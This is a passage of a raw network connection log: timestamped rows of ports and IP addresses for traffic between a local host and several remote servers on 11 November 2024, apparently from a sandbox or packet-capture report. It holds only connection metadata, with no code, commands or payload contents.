Nov 11, 2024 21:59:22.146508932 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146509886 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146521091 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146531105 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146533012 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146559000 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146569967 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146579981 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146579981 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146593094 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146600008 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146610022 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146620989 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146631002 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146642923 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146656036 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146663904 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146663904 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146665096 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146666050 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146677017 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146687984 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146689892 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146711111 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146719933 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146795034 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146805048 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146814108 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146823883 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146835089 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146838903 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146845102 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146848917 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146857023 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146871090 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146905899 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146918058 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146929979 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146930933 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146930933 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146939993 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146950960 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146960974 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.146970987 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.146981955 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.147006035 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.147042036 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.147052050 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.147062063 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.147073030 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.147089958 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.147109985 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.151072025 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.151216984 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.199654102 CET	443	58747	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.200700045 CET	443	58749	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.202351093 CET	443	58748	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.202558994 CET	443	58750	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.202671051 CET	443	58686	18.65.39.56	192.168.2.5
Nov 11, 2024 21:59:22.202734947 CET	443	58686	18.65.39.56	192.168.2.5
Nov 11, 2024 21:59:22.202797890 CET	58686	443	192.168.2.5	18.65.39.56
Nov 11, 2024 21:59:22.202992916 CET	58747	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.203005075 CET	443	58747	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.217253923 CET	58750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.217284918 CET	443	58750	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.222404003 CET	58686	443	192.168.2.5	18.65.39.56
Nov 11, 2024 21:59:22.222414970 CET	443	58686	18.65.39.56	192.168.2.5
Nov 11, 2024 21:59:22.225830078 CET	58748	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.225855112 CET	443	58748	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.232116938 CET	58750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.232116938 CET	58748	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.232119083 CET	58749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.232119083 CET	58749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.232125998 CET	443	58750	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.232137918 CET	58747	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.232141972 CET	443	58748	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.232152939 CET	443	58749	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.232153893 CET	443	58747	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.232156992 CET	443	58749	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.235384941 CET	443	58751	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:22.235596895 CET	58751	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:22.235631943 CET	443	58751	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:22.236078024 CET	443	58751	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:22.236362934 CET	58751	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:22.236437082 CET	443	58751	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:22.242453098 CET	443	58752	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:22.242758036 CET	58752	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:22.242767096 CET	443	58752	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:22.243169069 CET	443	58752	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:22.243710041 CET	58752	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:22.243777037 CET	443	58752	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:22.287422895 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.292292118 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.320382118 CET	443	58748	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.320632935 CET	443	58748	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.320689917 CET	443	58749	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.320694923 CET	443	58750	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.320702076 CET	58748	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.321106911 CET	443	58749	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.321163893 CET	58749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.321218967 CET	443	58750	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.321245909 CET	58748	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.321273088 CET	443	58748	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.321286917 CET	58750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.321321011 CET	58748	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.321326971 CET	443	58748	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.332813978 CET	443	58747	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.333030939 CET	443	58747	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.333112955 CET	58747	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.340982914 CET	58755	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:22.341027975 CET	443	58755	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:22.341418982 CET	58755	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:22.341696024 CET	58755	443	192.168.2.5	52.228.161.161
Nov 11, 2024 21:59:22.341710091 CET	443	58755	52.228.161.161	192.168.2.5
Nov 11, 2024 21:59:22.343877077 CET	58756	443	192.168.2.5	108.138.128.93
Nov 11, 2024 21:59:22.343911886 CET	443	58756	108.138.128.93	192.168.2.5
Nov 11, 2024 21:59:22.343981028 CET	58756	443	192.168.2.5	108.138.128.93
Nov 11, 2024 21:59:22.344269037 CET	58756	443	192.168.2.5	108.138.128.93
Nov 11, 2024 21:59:22.344280005 CET	443	58756	108.138.128.93	192.168.2.5
Nov 11, 2024 21:59:22.344868898 CET	58747	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.344868898 CET	58747	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.344887972 CET	443	58747	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.344897032 CET	443	58747	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.346932888 CET	58749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.346956968 CET	443	58749	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.346970081 CET	58749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.346976042 CET	443	58749	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.348822117 CET	58750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.348843098 CET	443	58750	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.348855019 CET	58750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.348860025 CET	443	58750	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.358153105 CET	58757	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.358187914 CET	443	58757	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.358349085 CET	58757	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.362169027 CET	58757	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.362183094 CET	443	58757	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.369770050 CET	58752	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:22.376688004 CET	58758	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.376719952 CET	443	58758	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.376936913 CET	58758	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.377104998 CET	58758	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.377118111 CET	443	58758	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.378314018 CET	58759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.378340006 CET	443	58759	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.378473997 CET	58759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.381249905 CET	58759	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.381270885 CET	443	58759	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.382448912 CET	58760	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.382488012 CET	443	58760	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.382548094 CET	58760	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.382767916 CET	58760	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:22.382781029 CET	443	58760	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:22.394890070 CET	58751	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:22.486937046 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.486947060 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.486954927 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487014055 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487037897 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487164021 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487174034 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487184048 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487214088 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487236023 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487245083 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487255096 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487274885 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487287998 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487296104 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487297058 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487306118 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487324953 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487330914 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487339020 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487361908 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487373114 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487381935 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487390995 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487402916 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487410069 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487427950 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487428904 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487440109 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487448931 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487459898 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487461090 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487466097 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487483978 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487495899 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487509966 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487519979 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487529993 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487549067 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487576008 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487585068 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487595081 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487606049 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487608910 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487632036 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487656116 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487742901 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487791061 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487823009 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487842083 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487853050 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487878084 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487895012 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487901926 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487905025 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487915039 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487935066 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.487947941 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.487967014 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488105059 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488116026 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488125086 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488137007 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488147020 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488147974 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488157988 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488168955 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488179922 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488204002 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488265991 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488276005 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488284111 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488292933 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488300085 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488301992 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488312960 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488318920 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488326073 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488337040 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488344908 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488354921 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488358974 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488363981 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488373041 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488382101 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488383055 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488389969 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488394022 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488403082 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488414049 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488415956 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488424063 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488436937 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488451958 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488558054 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488567114 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488575935 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488585949 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488595963 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488605022 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488609076 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488614082 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488627911 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488636971 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488639116 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488646030 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488646984 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488656044 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488665104 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488682985 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488706112 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488714933 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488722086 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488729000 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488730907 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488734961 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488740921 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488749981 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488759995 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488765955 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488770008 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488795042 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488806009 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488837957 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488847017 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488857031 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488868952 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488878012 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488879919 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488889933 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488895893 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488902092 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.488910913 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488956928 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.488966942 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489001989 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489026070 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489036083 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489044905 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489054918 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489057064 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489072084 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489089012 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489151955 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489192963 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489202976 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489231110 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489262104 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489308119 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489337921 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489470005 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489479065 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489489079 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489511967 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489535093 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489536047 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489545107 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489553928 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489563942 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489573956 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489578962 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489604950 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489610910 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489639044 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489650011 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489658117 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489667892 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489676952 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489679098 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489686012 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489706039 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489715099 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489767075 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489777088 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489784956 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489794970 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489804029 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489804983 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489814043 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489828110 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489844084 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489873886 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489883900 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489897966 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489907026 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.489916086 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.489917994 CET	80	58697	185.215.113.206	192.168.2.5
